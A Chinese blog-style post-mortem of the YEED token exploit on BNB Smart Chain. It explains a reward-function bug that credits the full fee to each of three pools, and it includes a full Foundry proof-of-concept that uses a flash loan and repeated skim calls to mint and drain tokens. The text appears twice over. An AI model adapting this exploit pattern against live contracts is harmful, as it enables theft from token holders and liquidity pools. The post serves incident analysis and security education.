YEED 漏洞分析
# 2、攻击概况
交易:https://phalcon.blocksec.com/tx/bsc/0x0507476234193a9a5c7ae2c47e4c4b833a7c3923cefc6fd7667b72f3ca3fa83a

# 3、获利分析

# 4、攻击思路
通过交易所获利的思路除了操作代币价格失衡外,更简单的方法是获得交易的代币即可。攻击者通过利用合约漏洞直接不停增发代币,最终通过交易所获利。
# 5、攻击过程&漏洞原因
根据以上攻击思路,从交易记录分析攻击过程:
1. 攻击者先通过交易所 0x33d5-HoSwap-LP 获取启动资金 662 个YEED代币。在通过闪电贷获取资金后, 0x33d5-HoSwap-LP 交易所将回调攻击者的pancakeCall 函数,其中实现了攻击逻辑。

2. 攻击者将获取的662个YEED代币全部转移至 0xa774-Cake-LP 合约中,奇怪的是根据事件日志显示,0x8893-PancakePair、0xbc70-PancakePair另外两个不相关的合约中的YEED合约也增加了。需要注意,最后YEED代币还销毁了数量为 _amount.mul(_burnFee).div(1000); 的代币,其中burnFee=50 。

根据YEED合约分析代币转移时的逻辑可知,每次的奖励等于销毁的数量,其中zeedReward、hoReward、usdtReward的比例分别为50%,25%,25%,但实际增加时却给每个交易合约分别增加销毁的数量。
“`
function _takeReward(
address sender,
uint256 rewardFee
) private {
if (rewardFee == 0) return;
uint256 zeedReward = rewardFee.div(2); //合约中本意给每个交易所的比例为50%、25%、25%
uint256 hoReward = rewardFee.div(2).div(2);
uint256 usdtReward = rewardFee.sub(zeedReward).sub(hoReward);
_balances[swapPair] = _balances[swapPair].add(rewardFee); //但此处给每个交易所都增加了100%,意味着增发了200%的burn数量代币
emit Transfer(sender, swapPair, usdtReward);
_balances[swapPairZeed] = _balances[swapPairZeed].add(rewardFee);
emit Transfer(sender, swapPairZeed, zeedReward);
_balances[swapPairHo] = _balances[swapPairHo].add(rewardFee);
emit Transfer(sender, swapPairHo, hoReward);
}
“`
3. 另外还需要注意,YEED合约在函数_transfer中规定了只有代币转移to的地址为指定的3个交易所才可获得奖励,否则就是标准的代币转移函数。为了最快实现增发YEED代币,攻击将每次转移的to地址都设置为3个指定的交易所地址之一,循环往复。
“`
//transfer amount, it will take tax, burn, liquidity fee
if (isSwapPair(to)) {
_transferSell(from, to, amount);
} else {
_transferStandard(from, to, amount);
}
“`

4. 最终攻击者调用各交易所的skim函数,并将to地址设为自己的地址,获得增发的YEED代币并归还贷款

5. 最后攻击者在各交易所兑换YEED代币,离场

# 6、漏洞复现
复现代码参考链接:https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/Zeed_exp.sol
“`
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import “forge-std/Test.sol”;
import “./interface.sol”;
contract ContractTest is DSTest {
IPancakeRouter pancakeRouter =
IPancakeRouter(payable(0x6CD71A07E72C514f5d511651F6808c6395353968)); //定义各交易所地址以及合约类型
IPancakePair usdtYeedHoSwapPair =
IPancakePair(0x33d5e574Bd1EBf3Ceb693319C2e276DaBE388399);
IPancakePair usdtYeedPair =
IPancakePair(0xA7741d6b60A64b2AaE8b52186adeA77b1ca05054);
IPancakePair hoYeedPair =
IPancakePair(0xbC70FA7aea50B5AD54Df1edD7Ed31601C350A91a);
IPancakePair zeedYeedPair =
IPancakePair(0x8893610232C87f4a38DC9B5Ab67cbc331dC615d6);
IERC20 yeed = IERC20(0xe7748FCe1D1e2f2Fd2dDdB5074bD074745dDa8Ea);
IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public { //指定fork的区块
cheats.createSelectFork(“bsc”, 17132514); // fork bsc at block 17132514
}
function testExploit() public {
yeed.approve(address(pancakeRouter), type(uint256).max);
(uint112 _reserve0, uint112 _reserve1, ) = usdtYeedHoSwapPair.getReserves(); //获取闪电贷
usdtYeedHoSwapPair.swap(0, _reserve1 – 1, address(this), new bytes(1));
emit log_named_uint(
“Before exploit, USDT balance of attacker:”,
usdt.balanceOf(msg.sender)
);
address[] memory path = new address[](3);
path[0] = address(yeed);
path[1] = hoYeedPair.token0();
path[2] = usdtYeedPair.token0();
pancakeRouter.swapExactTokensForTokens(
yeed.balanceOf(address(this)),
0,
path,
msg.sender,
block.timestamp + 120
);
emit log_named_uint(
“After exploit, USDT balance of attacker:”,
usdt.balanceOf(msg.sender)
);
}
function pancakeCall( //闪电贷回调函数,真正漏洞利用逻辑实现
address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data
) public {
yeed.transfer(address(usdtYeedPair), amount1);
for (uint256 i = 0; i < 10; i++) { //循环调用3处交易所,实现代币增发
usdtYeedPair.skim(address(hoYeedPair));
hoYeedPair.skim(address(zeedYeedPair));
zeedYeedPair.skim(address(usdtYeedPair));
}
usdtYeedPair.skim(address(this)); //将各交易所增发的YEED代币转移至本合约地址
hoYeedPair.skim(address(this));
zeedYeedPair.skim(address(this));
yeed.transfer(msg.sender, (amount1 * 1000) / 997); //归还闪电贷,因为存在利息,所以amount1 *1000/997
}
}
“`
1、YEED 漏洞相关地址
交易:https://bscscan.com/tx/0x0507476234193a9a5c7ae2c47e4c4b833a7c3923cefc6fd7667b72f3ca3fa83a 合约地址: BSC-USD-ZEED: https://bscscan.com/address/0xb2f53069e1555793481aafe639f8e274f4ec8435 BSC-USD-YEED 2:https://bscscan.com/address/0xa7741d6b60a64b2aae8b52186adea77b1ca05054 BSC-ZEED-YEED 2:https://bscscan.com/address/0x8893610232c87f4a38dc9b5ab67cbc331dc615d6 BSC-HO-YEED 2 : https://bscscan.com/address/0xbc70fa7aea50b5ad54df1edd7ed31601c350a91a YEED代币合约地址: https://bscscan.com/address/0xe7748fce1d1e2f2fd2dddb5074bd074745dda8ea#code 攻击者账户:https://bscscan.com/address/0xec14207d56e10f72446576779d9b843e476e0fb0 攻击者合约地址: https://bscscan.com/address/0x05e55d051ac0a5fb744e71704a8fa4ee3b103374
2、攻击概况
交易:https://phalcon.blocksec.com/tx/bsc/0x0507476234193a9a5c7ae2c47e4c4b833a7c3923cefc6fd7667b72f3ca3fa83a
3、获利分析
4、攻击思路
通过交易所获利的思路除了操作代币价格失衡外,更简单的方法是获得交易的代币即可。攻击者通过利用合约漏洞直接不停增发代币,最终通过交易所获利。
5、攻击过程&漏洞原因
根据以上攻击思路,从交易记录分析攻击过程:
- 攻击者先通过交易所 0x33d5-HoSwap-LP 获取启动资金 662 个YEED代币。在通过闪电贷获取资金后, 0x33d5-HoSwap-LP 交易所将回调攻击者的pancakeCall 函数,其中实现了攻击逻辑。
- 攻击者将获取的662个YEED代币全部转移至 0xa774-Cake-LP 合约中,奇怪的是根据事件日志显示,0x8893-PancakePair、0xbc70-PancakePair另外两个不相关的合约中的YEED合约也增加了。需要注意,最后YEED代币还销毁了数量为 _amount.mul(_burnFee).div(1000); 的代币,其中burnFee=50 。
根据YEED合约分析代币转移时的逻辑可知,每次的奖励等于销毁的数量,其中zeedReward、hoReward、usdtReward的比例分别为50%,25%,25%,但实际增加时却给每个交易合约分别增加销毁的数量。
function _takeReward(
address sender,
uint256 rewardFee
) private {
if (rewardFee == 0) return;
uint256 zeedReward = rewardFee.div(2); //合约中本意给每个交易所的比例为50%、25%、25%
uint256 hoReward = rewardFee.div(2).div(2);
uint256 usdtReward = rewardFee.sub(zeedReward).sub(hoReward);
_balances[swapPair] = _balances[swapPair].add(rewardFee); //但此处给每个交易所都增加了100%,意味着增发了200%的burn数量代币
emit Transfer(sender, swapPair, usdtReward);
_balances[swapPairZeed] = _balances[swapPairZeed].add(rewardFee);
emit Transfer(sender, swapPairZeed, zeedReward);
_balances[swapPairHo] = _balances[swapPairHo].add(rewardFee);
emit Transfer(sender, swapPairHo, hoReward);
}
- 另外还需要注意,YEED合约在函数_transfer中规定了只有代币转移to的地址为指定的3个交易所才可获得奖励,否则就是标准的代币转移函数。为了最快实现增发YEED代币,攻击将每次转移的to地址都设置为3个指定的交易所地址之一,循环往复。
//transfer amount, it will take tax, burn, liquidity fee
if (isSwapPair(to)) {
_transferSell(from, to, amount);
} else {
_transferStandard(from, to, amount);
}
- 最终攻击者调用各交易所的skim函数,并将to地址设为自己的地址,获得增发的YEED代币并归还贷款
- 最后攻击者在各交易所兑换YEED代币,离场
6、漏洞复现
复现代码参考链接:https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/Zeed_exp.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
contract ContractTest is DSTest {
IPancakeRouter pancakeRouter =
IPancakeRouter(payable(0x6CD71A07E72C514f5d511651F6808c6395353968)); //定义各交易所地址以及合约类型
IPancakePair usdtYeedHoSwapPair =
IPancakePair(0x33d5e574Bd1EBf3Ceb693319C2e276DaBE388399);
IPancakePair usdtYeedPair =
IPancakePair(0xA7741d6b60A64b2AaE8b52186adeA77b1ca05054);
IPancakePair hoYeedPair =
IPancakePair(0xbC70FA7aea50B5AD54Df1edD7Ed31601C350A91a);
IPancakePair zeedYeedPair =
IPancakePair(0x8893610232C87f4a38DC9B5Ab67cbc331dC615d6);
IERC20 yeed = IERC20(0xe7748FCe1D1e2f2Fd2dDdB5074bD074745dDa8Ea);
IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public { //指定fork的区块
cheats.createSelectFork("bsc", 17132514); // fork bsc at block 17132514
}
function testExploit() public {
yeed.approve(address(pancakeRouter), type(uint256).max);
(uint112 _reserve0, uint112 _reserve1, ) = usdtYeedHoSwapPair.getReserves(); //获取闪电贷
usdtYeedHoSwapPair.swap(0, _reserve1 - 1, address(this), new bytes(1));
emit log_named_uint(
"Before exploit, USDT balance of attacker:",
usdt.balanceOf(msg.sender)
);
address[] memory path = new address[](3);
path[0] = address(yeed);
path[1] = hoYeedPair.token0();
path[2] = usdtYeedPair.token0();
pancakeRouter.swapExactTokensForTokens(
yeed.balanceOf(address(this)),
0,
path,
msg.sender,
block.timestamp + 120
);
emit log_named_uint(
"After exploit, USDT balance of attacker:",
usdt.balanceOf(msg.sender)
);
}
function pancakeCall( //闪电贷回调函数,真正漏洞利用逻辑实现
address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data
) public {
yeed.transfer(address(usdtYeedPair), amount1);
for (uint256 i = 0; i < 10; i++) { //循环调用3处交易所,实现代币增发
usdtYeedPair.skim(address(hoYeedPair));
hoYeedPair.skim(address(zeedYeedPair));
zeedYeedPair.skim(address(usdtYeedPair));
}
usdtYeedPair.skim(address(this)); //将各交易所增发的YEED代币转移至本合约地址
hoYeedPair.skim(address(this));
zeedYeedPair.skim(address(this));
yeed.transfer(msg.sender, (amount1 * 1000) / 997); //归还闪电贷,因为存在利息,所以amount1 *1000/997
}
}
本文参与区块链技术网 ,好文好收益,欢迎正在阅读的你也加入。
- 发表于 3天前
- 阅读 ( 2146 )
- 学分 ( 3 )
- 分类:安全